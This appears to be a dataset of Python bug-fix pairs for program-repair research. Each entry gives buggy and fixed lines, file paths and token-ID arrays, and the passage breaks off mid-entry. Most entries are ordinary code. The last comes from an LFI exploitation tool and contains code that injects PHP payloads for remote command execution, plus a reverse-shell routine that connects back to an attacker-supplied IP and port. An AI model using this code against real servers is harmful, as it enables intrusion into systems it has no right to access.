[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7903, 12, 2890, 16, 2575, 4672, 883, 273, 389, 2932, 382, 2690, 29951, 2639, 16, 15755, 279, 681, 903, 8851, 31124, 2484, 3853, 316, 326, 9117, 1041, 18, 1220, 1296, 903, 1206, 4123, 578...
for req in requiredby.package_set.all():
for req in requiredby:
def required_by_urlize(self): urls = [] requiredby = PackageDepends.objects.filter(depname=self.pkgname) for req in requiredby.package_set.all(): urls.append( '<li><a href="/packages/%d">%s</a></li>' % \ (req.id,req.pkgname)) return ''.join(urls)
37361f664f5092d5f4cc7bb2a20e1e86cbbf558d /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/11256/37361f664f5092d5f4cc7bb2a20e1e86cbbf558d/models.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1931, 67, 1637, 67, 718, 554, 12, 2890, 4672, 6903, 273, 5378, 1931, 1637, 273, 7508, 4584, 87, 18, 6911, 18, 2188, 12, 15037, 529, 33, 2890, 18, 10657, 529, 13, 364, 1111, 316, 1931, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1931, 67, 1637, 67, 718, 554, 12, 2890, 4672, 6903, 273, 5378, 1931, 1637, 273, 7508, 4584, 87, 18, 6911, 18, 2188, 12, 15037, 529, 33, 2890, 18, 10657, 529, 13, 364, 1111, 316, 1931, ...
cty.c_int, [cty.POINTER(FL_POPUP)],
cty.c_int, [cty.POINTER(FL_POPUP)],
def fl_popup_create(p1, p2, p3): """ fl_popup_create(p1, p2, p3) -> popup """ retval = _fl_popup_create(p1, p2, p3) return retval
9942dac8ce2b35a1e43615a26fd8e7054ef805d3 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/2429/9942dac8ce2b35a1e43615a26fd8e7054ef805d3/xformslib.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1183, 67, 16086, 67, 2640, 12, 84, 21, 16, 293, 22, 16, 293, 23, 4672, 3536, 1183, 67, 16086, 67, 2640, 12, 84, 21, 16, 293, 22, 16, 293, 23, 13, 317, 10431, 3536, 225, 5221, 273, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1183, 67, 16086, 67, 2640, 12, 84, 21, 16, 293, 22, 16, 293, 23, 4672, 3536, 1183, 67, 16086, 67, 2640, 12, 84, 21, 16, 293, 22, 16, 293, 23, 13, 317, 10431, 3536, 225, 5221, 273, ...
if gv_y.fits_in_immediate():
if gv_y.fits_in_simm():
def _compare(self, op, gv_x, gv_y): #print "op", op gv_result = ConditionVar() if gv_y.fits_in_immediate(): self.insns.append( insn.CMPWI(self.cmp2info[op], gv_result, [gv_x, gv_y])) elif gv_x.fits_in_immediate(): self.insns.append( insn.CMPWI(self.cmp2info_flipped[op], gv_result, [gv_y, gv_x])) else: self.insns.append( insn.CMPW(self.cmp2info[op], gv_result, [gv_x, gv_y])) return gv_result
1a13bb2e4052fbbe77efb6b6dbf2fa6c38d03672 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/6934/1a13bb2e4052fbbe77efb6b6dbf2fa6c38d03672/rgenop.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 9877, 12, 2890, 16, 1061, 16, 11404, 67, 92, 16, 11404, 67, 93, 4672, 468, 1188, 315, 556, 3113, 1061, 11404, 67, 2088, 273, 7949, 1537, 1435, 309, 11404, 67, 93, 18, 18352, 67, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 9877, 12, 2890, 16, 1061, 16, 11404, 67, 92, 16, 11404, 67, 93, 4672, 468, 1188, 315, 556, 3113, 1061, 11404, 67, 2088, 273, 7949, 1537, 1435, 309, 11404, 67, 93, 18, 18352, 67, ...
merge = []
merge = defaultdict(set)
def missing_subtag(found, marc_alt): merge = [] for p1, p2 in combinations(found, 2): subtag1 = [k for k, v in p1] subtag2 = [k for k, v in p2] if subtag1 == subtag2: continue name1 = ' '.join(v.strip() for k, v in p1) name2 = ' '.join(v.strip() for k, v in p2) if not match_with_bad_chars(name1, name2) and normalize(name1) != normalize(name2): if normalize(remove_bad_marc_subtag(name1)) != normalize(remove_bad_marc_subtag(name2)): continue assert len(subtag1) != len(subtag2) if len(subtag1) > len(subtag2): merge.append((p1, p2)) else: merge.append((p2, p1)) for a, b in merge: found[a] += found.pop(b) marc_alt[b] = a
e3dafcdfa2d0f371c4b74e1fdc263826e73c8067 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/3913/e3dafcdfa2d0f371c4b74e1fdc263826e73c8067/identify_people.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3315, 67, 1717, 2692, 12, 7015, 16, 312, 11828, 67, 2390, 4672, 2691, 273, 13090, 12, 542, 13, 364, 293, 21, 16, 293, 22, 316, 17265, 12, 7015, 16, 576, 4672, 720, 2692, 21, 273, 306...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3315, 67, 1717, 2692, 12, 7015, 16, 312, 11828, 67, 2390, 4672, 2691, 273, 13090, 12, 542, 13, 364, 293, 21, 16, 293, 22, 316, 17265, 12, 7015, 16, 576, 4672, 720, 2692, 21, 273, 306...
self.ex_ents = []
ex_ents = []
def VerifyDirectory(self, entry, modlist): '''Verify Directory Entry''' while len(entry.get('perms', '')) < 4: entry.set('perms', '0' + entry.get('perms', '')) try: ondisk = os.stat(entry.get('name')) except OSError: entry.set('current_exists', 'false') self.logger.debug("%s %s does not exist" % (entry.tag, entry.get('name'))) return False try: owner = str(ondisk[ST_UID]) group = str(ondisk[ST_GID]) except (OSError, KeyError): self.logger.error('User/Group resolution failed for path %s' % (entry.get('name'))) owner = 'root' group = '0' finfo = os.stat(entry.get('name')) perms = oct(finfo[ST_MODE])[-4:] if entry.get('mtime', '-1') != '-1': mtime = str(finfo[ST_MTIME]) else: mtime = '-1' pTrue = ((owner == str(normUid(entry))) and (group == str(normGid(entry))) and (perms == entry.get('perms')) and (mtime == entry.get('mtime', '-1')))
3d29375196c124405db4d256dc8368f39e9160d1 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/11867/3d29375196c124405db4d256dc8368f39e9160d1/POSIX.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8553, 2853, 12, 2890, 16, 1241, 16, 681, 1098, 4672, 9163, 8097, 8930, 3841, 26418, 1323, 562, 12, 4099, 18, 588, 2668, 15969, 2187, 875, 3719, 411, 1059, 30, 1241, 18, 542, 2668, 15969,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 8553, 2853, 12, 2890, 16, 1241, 16, 681, 1098, 4672, 9163, 8097, 8930, 3841, 26418, 1323, 562, 12, 4099, 18, 588, 2668, 15969, 2187, 875, 3719, 411, 1059, 30, 1241, 18, 542, 2668, 15969,...
for job, comps in formatter.compressJobList(sorted(jobs)):
for job, comps in formatter.compressJobList(sorted(jobs, key=jobKey)):
def displayJobs(dcfg, formatter, jobs, prepare=True, jobNum=0, total=0): """ display the given list of jobs @param dcfg: stores information about the type of display to perform @type dcfg: display.DisplayConfig @param formatter: contains methods to display the troves @type formatter: display.TroveFormatter @param jobs: the job tuples to display @type jobs: ordered list of (n,v,f) job """ if prepare: formatter.prepareJobs(jobs) if jobNum and total: print formatter.formatJobNum(index, totalJobs) for job, comps in formatter.compressJobList(sorted(jobs)): if dcfg.printTroveHeader(): for ln in formatter.formatJobHeader(job, comps): print ln if dcfg.printFiles(): for ln in formatter.formatJobFiles(job): print ln
66d92d568f0173a3316300466eb0dae04f3cad69 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/8747/66d92d568f0173a3316300466eb0dae04f3cad69/display.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2562, 7276, 12, 72, 7066, 16, 4453, 16, 6550, 16, 2911, 33, 5510, 16, 1719, 2578, 33, 20, 16, 2078, 33, 20, 4672, 3536, 2562, 326, 864, 666, 434, 6550, 225, 632, 891, 6744, 2137, 30,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2562, 7276, 12, 72, 7066, 16, 4453, 16, 6550, 16, 2911, 33, 5510, 16, 1719, 2578, 33, 20, 16, 2078, 33, 20, 4672, 3536, 2562, 326, 864, 666, 434, 6550, 225, 632, 891, 6744, 2137, 30,...
return os.path.join(os.path.dirname(sys.executable), "Makefile")
return os.path.join(os.path.dirname(os.path.realpath(sys.executable)), "Makefile")
def get_makefile_filename(): """Return full pathname of installed Makefile from the Python build.""" if python_build: return os.path.join(os.path.dirname(sys.executable), "Makefile") lib_dir = get_python_lib(plat_specific=1, standard_lib=1) return os.path.join(lib_dir, "config", "Makefile")
395299a3688d612f262e87338b8d9f5c815ec06e /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/8125/395299a3688d612f262e87338b8d9f5c815ec06e/sysconfig.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 336, 67, 6540, 768, 67, 3459, 13332, 3536, 990, 1983, 9806, 434, 5876, 4344, 768, 628, 326, 6600, 1361, 12123, 309, 5790, 67, 3510, 30, 327, 1140, 18, 803, 18, 5701, 12, 538, 18, 803, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 336, 67, 6540, 768, 67, 3459, 13332, 3536, 990, 1983, 9806, 434, 5876, 4344, 768, 628, 326, 6600, 1361, 12123, 309, 5790, 67, 3510, 30, 327, 1140, 18, 803, 18, 5701, 12, 538, 18, 803, ...
return convert_ertbackslash(body, i, len)
return convert_ertbackslash(body, i, convert_len(len, special))
def convert_ertlen(body, i, len, special): units = {"text%":"\\textwidth", "col%":"\\columnwidth", "page%":"\\pagewidth", "line%":"\\linewidth", "theight%":"\\textheight", "pheight%":"\\pageheight"} # Convert special lengths if special != 'none': len = '%f\\' % len2value(len) + special # Convert LyX units to LaTeX units for unit in units.keys(): if find(len, unit) != -1: len = '%f' % (len2value(len) / 100) + units[unit] break # Convert backslashes and insert the converted length into body return convert_ertbackslash(body, i, len)
72dccb886997419e637acefa586da331faa586ac /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/7514/72dccb886997419e637acefa586da331faa586ac/lyx_1_4.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1765, 67, 1051, 1897, 12, 3432, 16, 277, 16, 562, 16, 4582, 4672, 4971, 273, 12528, 955, 9, 15563, 1695, 955, 2819, 3113, 315, 1293, 9, 15563, 1695, 2827, 2819, 3113, 315, 2433, 9, 155...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1765, 67, 1051, 1897, 12, 3432, 16, 277, 16, 562, 16, 4582, 4672, 4971, 273, 12528, 955, 9, 15563, 1695, 955, 2819, 3113, 315, 1293, 9, 15563, 1695, 2827, 2819, 3113, 315, 2433, 9, 155...
logger.info("Delete quotas for members of:" + cn) logger.info("ldap timeout:" + str(self.l.timeout))
logger.debug("Delete quotas for members of:" + cn) logger.debug("ldap timeout:" + str(self.l.timeout))
def deleteGroupDiskQuotas(self, cn, device): logger = logging.getLogger() devicepath = device.split(':')[0] logger.info("Delete quotas for members of:" + cn) logger.info("ldap timeout:" + str(self.l.timeout)) self.l.set_option(ldap.OPT_NETWORK_TIMEOUT, 100) logger.info("ldap network timeout:" + str(self.l.get_option(ldap.OPT_NETWORK_TIMEOUT)))
c1b148277eaa33380684c03817015cbdb8ea5c22 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/5988/c1b148277eaa33380684c03817015cbdb8ea5c22/__init__.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1430, 1114, 6247, 7678, 345, 12, 2890, 16, 6227, 16, 2346, 4672, 1194, 273, 2907, 18, 588, 3328, 1435, 2346, 803, 273, 2346, 18, 4939, 2668, 2497, 25146, 20, 65, 1194, 18, 4148, 2932, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1430, 1114, 6247, 7678, 345, 12, 2890, 16, 6227, 16, 2346, 4672, 1194, 273, 2907, 18, 588, 3328, 1435, 2346, 803, 273, 2346, 18, 4939, 2668, 2497, 25146, 20, 65, 1194, 18, 4148, 2932, ...
return (job_info, log_entries)
if job_info is None and log_entries is None: return None else: return (job_info, log_entries)
def WaitForJobChanges(self, job_id, fields, prev_job_info, prev_log_serial, timeout): """Waits for changes in a job.
6e237482804931b883790a2e6e439565ec999056 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/7542/6e237482804931b883790a2e6e439565ec999056/jqueue.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 24129, 2278, 7173, 12, 2890, 16, 1719, 67, 350, 16, 1466, 16, 2807, 67, 4688, 67, 1376, 16, 2807, 67, 1330, 67, 8818, 16, 2021, 4672, 3536, 26153, 364, 3478, 316, 279, 1719, 18, 2, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 24129, 2278, 7173, 12, 2890, 16, 1719, 67, 350, 16, 1466, 16, 2807, 67, 4688, 67, 1376, 16, 2807, 67, 1330, 67, 8818, 16, 2021, 4672, 3536, 26153, 364, 3478, 316, 279, 1719, 18, 2, -...
self._bases = [] for base in cls.__bases__: self._bases.append(Link(base.__name__, UID(base)))
try: bases = cls.__bases__ except AttributeError: bases = [] self._bases = [Link(base.__name__, UID(base)) for base in bases]
def __init__(self, cls, verbosity=0): self._tmp_ivar = {} self._tmp_cvar = {} self._tmp_type = {} ObjDoc.__init__(self, cls, verbosity)
d3395d508175517a8a8289ffc33bd81b4ee231c2 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/3512/d3395d508175517a8a8289ffc33bd81b4ee231c2/objdoc.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2028, 16, 11561, 33, 20, 4672, 365, 6315, 5645, 67, 22647, 273, 2618, 365, 6315, 5645, 67, 71, 1401, 273, 2618, 365, 6315, 5645, 67, 723, 273, 2618, 1876...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2028, 16, 11561, 33, 20, 4672, 365, 6315, 5645, 67, 22647, 273, 2618, 365, 6315, 5645, 67, 71, 1401, 273, 2618, 365, 6315, 5645, 67, 723, 273, 2618, 1876...
so['stylesheet_path'] = os.path.join('data', 'stylesheet.txt')
stylesheet_path = os.path.join('data', 'stylesheet.txt') so['stylesheet_path'] = stylesheet_path
def test_stylesheet_dependencies(self): # Parameters to publish_file. s = {'settings_overrides': {}} so = s['settings_overrides'] so['embed_stylesheet'] = 0 so['stylesheet_path'] = os.path.join('data', 'stylesheet.txt') so['stylesheet'] = None s['writer_name'] = 'html' self.assert_(os.path.join('data', 'stylesheet.txt') not in self.get_record(**s)) so['embed_stylesheet'] = 1 self.assert_('data/stylesheet.txt' in self.get_record(**s)) del so['embed_stylesheet'] s['writer_name'] = 'latex' self.assert_('data/stylesheet.txt' in self.get_record(**s))
df9b266b67f096ecfe055f220363332d6a129c73 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/8194/df9b266b67f096ecfe055f220363332d6a129c73/test_dependencies.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 19403, 67, 11037, 12, 2890, 4672, 468, 7012, 358, 3808, 67, 768, 18, 272, 273, 13666, 4272, 67, 19775, 4278, 2618, 97, 1427, 273, 272, 3292, 4272, 67, 19775, 3546, 1427, 3292, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 19403, 67, 11037, 12, 2890, 4672, 468, 7012, 358, 3808, 67, 768, 18, 272, 273, 13666, 4272, 67, 19775, 4278, 2618, 97, 1427, 273, 272, 3292, 4272, 67, 19775, 3546, 1427, 3292, ...
self.check_trying_to_play()
self.wait_if_trying_to_play()
def stop(self): self.__should_stop = True if self.current_music: self.check_trying_to_play() was_playing = self.current_music.is_playing() self.current_music.stop() if was_playing: self.__listener.finished_music(self.current_music) self.is_playing = False
43a0f8d3d71fafa93f66b7de5c6311692b8b2ccd /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/5169/43a0f8d3d71fafa93f66b7de5c6311692b8b2ccd/aspyplayer.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2132, 12, 2890, 4672, 365, 16186, 13139, 67, 5681, 273, 1053, 309, 365, 18, 2972, 67, 81, 14894, 30, 365, 18, 7048, 67, 430, 67, 698, 310, 67, 869, 67, 1601, 1435, 1703, 67, 1601, 31...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2132, 12, 2890, 4672, 365, 16186, 13139, 67, 5681, 273, 1053, 309, 365, 18, 2972, 67, 81, 14894, 30, 365, 18, 7048, 67, 430, 67, 698, 310, 67, 869, 67, 1601, 1435, 1703, 67, 1601, 31...
return open(make_filename(repo, r, pat, node, total, seqno, revwidth,
return open(make_filename(repo, pat, node, total, seqno, revwidth,
def make_file(repo, r, pat, node=None, total=None, seqno=None, revwidth=None, mode='wb', pathname=None): if not pat or pat == '-': return 'w' in mode and sys.stdout or sys.stdin if hasattr(pat, 'write') and 'w' in mode: return pat if hasattr(pat, 'read') and 'r' in mode: return pat return open(make_filename(repo, r, pat, node, total, seqno, revwidth, pathname), mode)
8376de03fa80398a65fccaf939611864d6027421 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/11312/8376de03fa80398a65fccaf939611864d6027421/commands.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1221, 67, 768, 12, 7422, 16, 436, 16, 9670, 16, 756, 33, 7036, 16, 2078, 33, 7036, 16, 30734, 33, 7036, 16, 5588, 2819, 33, 7036, 16, 1965, 2218, 9464, 2187, 9806, 33, 7036, 4672, 30...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1221, 67, 768, 12, 7422, 16, 436, 16, 9670, 16, 756, 33, 7036, 16, 2078, 33, 7036, 16, 30734, 33, 7036, 16, 5588, 2819, 33, 7036, 16, 1965, 2218, 9464, 2187, 9806, 33, 7036, 4672, 30...
def __init__(self, lib = None):
def __init__(self, lib=None):
def __init__(self, lib = None): if sys.stdout.isatty() and platform.system().lower() != 'windows': self.red = "\x1b[01;31m" self.blue = "\x1b[34m" self.magenta = "\x1b[35m" self.normal = "\x1b[0m"
882bfd4b1be9d4378d4ce91fd198df8b1c2b9cba /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/6899/882bfd4b1be9d4378d4ce91fd198df8b1c2b9cba/getinfo.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2561, 33, 7036, 4672, 309, 2589, 18, 10283, 18, 291, 270, 4098, 1435, 471, 4072, 18, 4299, 7675, 8167, 1435, 480, 296, 13226, 4278, 365, 18, 1118, 273, 1...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 2738, 972, 12, 2890, 16, 2561, 33, 7036, 4672, 309, 2589, 18, 10283, 18, 291, 270, 4098, 1435, 471, 4072, 18, 4299, 7675, 8167, 1435, 480, 296, 13226, 4278, 365, 18, 1118, 273, 1...
pass
pass
def mouseMoveEvent(self, event): """Dispatches mouse motion events depending on shift and control key state. """ ##self.debug_event(event, 'mouseMoveEvent') buttons, modifiers = event.buttons(), event.modifiers() if buttons & Qt.LeftButton: if modifiers & Qt.ShiftModifier: pass#self.leftShiftDrag(event) elif modifiers & Qt.ControlModifier: pass#self.leftCntlDrag(event) else: pass#self.leftDrag(event)
7828cbef13f84d50298938f6ae339289db2ec006 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/11221/7828cbef13f84d50298938f6ae339289db2ec006/ThumbView.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7644, 7607, 1133, 12, 2890, 16, 871, 4672, 3536, 5325, 281, 7644, 21188, 2641, 8353, 603, 4654, 471, 3325, 498, 919, 18, 3536, 7541, 2890, 18, 4148, 67, 2575, 12, 2575, 16, 296, 11697, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7644, 7607, 1133, 12, 2890, 16, 871, 4672, 3536, 5325, 281, 7644, 21188, 2641, 8353, 603, 4654, 471, 3325, 498, 919, 18, 3536, 7541, 2890, 18, 4148, 67, 2575, 12, 2575, 16, 296, 11697, ...
if matched_tags[0]:
if matched_tags[0] and buf.get_tag_table().lookup(matched_tags[0]):
def reset_tags(buf): if matched_tags[0]: start, end = buf.get_bounds() buf.remove_tag_by_name(matched_tags[0], start, end) matched_tags[0] = None
2d0e65859211a030b072fe49a02df4dbd83054a9 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/14800/2d0e65859211a030b072fe49a02df4dbd83054a9/bracket_matcher.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2715, 67, 4156, 12, 4385, 4672, 309, 4847, 67, 4156, 63, 20, 65, 471, 1681, 18, 588, 67, 2692, 67, 2121, 7675, 8664, 12, 11073, 67, 4156, 63, 20, 65, 4672, 787, 16, 679, 273, 1681, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2715, 67, 4156, 12, 4385, 4672, 309, 4847, 67, 4156, 63, 20, 65, 471, 1681, 18, 588, 67, 2692, 67, 2121, 7675, 8664, 12, 11073, 67, 4156, 63, 20, 65, 4672, 787, 16, 679, 273, 1681, ...
if code.find(settings["shell_test"][1]) != -1: attack = self.chooseAttackMode() rndStart = self.getRandomStr() rndEnd = self.getRandomStr() if attack==1: cmd = "" print shell_banner while cmd != "q" and cmd != "quit": cmd = raw_input("fimap_shell$> ") if (cmd.strip() != ""): userload = payload.replace("__PAYLOAD__", cmd) userload = "<? echo '%s'; ?> %s <? echo '%s'; ?>" %(rndStart, userload, rndEnd) code = self.doPostRequest(url, userload) code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] print code.strip() print "See ya dude!" sys.exit(0) elif attack==2: ip = raw_input("Enter your the IP where the shell should connect to: ") port = int(raw_input("Enter your the Port where the shell should connect to: ")) print "netcat cmdline: nc -l -vv -p %d" %port raw_input("Open netcat on the target machine now and press enter...") print "Creating reverse shell now..." shellcode = settings["reverse_shell_code"] shellcode = shellcode.replace("__IP__", ip) shellcode = shellcode.replace("__PORT__", str(port)) shellcode = "<? echo '%s'; ?> %s <? echo '%s'; ?>" %(rndStart, shellcode, rndEnd) code = self.doPostRequest(url, shellcode) code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] print code.strip() sys.exit(0)
if (code != None): if code.find(settings["shell_test"][1]) != -1: attack = self.chooseAttackMode() rndStart = self.getRandomStr() rndEnd = self.getRandomStr() if attack==1: cmd = "" print shell_banner while cmd != "q" and cmd != "quit": cmd = raw_input("fimap_shell$> ") if (cmd.strip() != ""): userload = payload.replace("__PAYLOAD__", cmd) userload = "<? echo '%s'; ?> %s <? echo '%s'; ?>" %(rndStart, userload, rndEnd) code = self.doPostRequest(url, userload) code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] print code.strip() print "See ya dude!" sys.exit(0) elif attack==2: ip = raw_input("Enter your the IP where the shell should connect to: ") port = int(raw_input("Enter your the Port where the shell should connect to: ")) print "netcat 